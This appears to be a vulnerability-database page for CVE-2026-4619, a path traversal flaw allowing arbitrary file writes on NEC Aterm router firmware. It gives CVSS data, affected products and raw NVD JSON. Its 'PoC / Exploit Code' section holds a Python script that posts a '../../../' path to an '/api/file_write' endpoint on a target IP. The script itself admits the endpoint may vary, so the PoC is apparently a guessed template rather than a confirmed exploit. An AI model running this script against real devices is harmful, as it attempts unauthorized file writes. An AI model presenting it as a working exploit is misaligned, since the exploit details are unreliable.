Security Vulnerability Report
中文
CVE-2026-4619 CVSS 9.8 CRITICAL

CVE-2026-4619

Published: 2026-03-27 12:16:21
Last Modified: 2026-04-20 15:18:26

Description

Path Traversal vulnerability in NEC Platforms, Ltd. Aterm Series allows a attacker to wtite over any file via network.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:nec:aterm_wx3600hp_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nec:aterm_wx3600hp:-:*:*:*:*:*:*:* - NOT VULNERABLE
NEC Aterm Series (具体受影响版本请参考厂商安全公告 NV26-001)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_poc(target_ip): """ PoC for CVE-2026-4619: Path Traversal in NEC Aterm Series Demonstrates writing arbitrary content to a file. """ target_url = f"http://{target_ip}/api/file_write" # Payload attempting to write to a sensitive system file # Note: The actual endpoint may vary based on firmware. data = { "path": "../../../tmp/malicious.txt", "content": "This file was written by CVE-2026-4619 PoC." } try: response = requests.post(target_url, data=data, timeout=5) if response.status_code == 200: print(f"[+] Exploit successful! Server responded: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": import sys if len(sys.argv) != 2: print("Usage: python3 cve_2026_4619_poc.py <target_ip>") else: exploit_poc(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4619", "sourceIdentifier": "[email protected]", "published": "2026-03-27T12:16:20.593", "lastModified": "2026-04-20T15:18:26.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Path Traversal vulnerability in NEC Platforms, Ltd. Aterm Series allows a attacker to wtite over any file via network."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nec:aterm_wx3600hp_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.3", "matchCriteriaId": "B77603F2-DFB5-4718-B4DB-482CD835BB61"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nec:aterm_wx3600hp:-:*:*:*:*:*:*:*", "matchCriteriaId": "49BA8EF7-AE6D-4E69-A14B-410127D41E01"}]}]}], "references": [{"url": "https://jpn.nec.com/security-info/secinfo/nv26-001_en.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}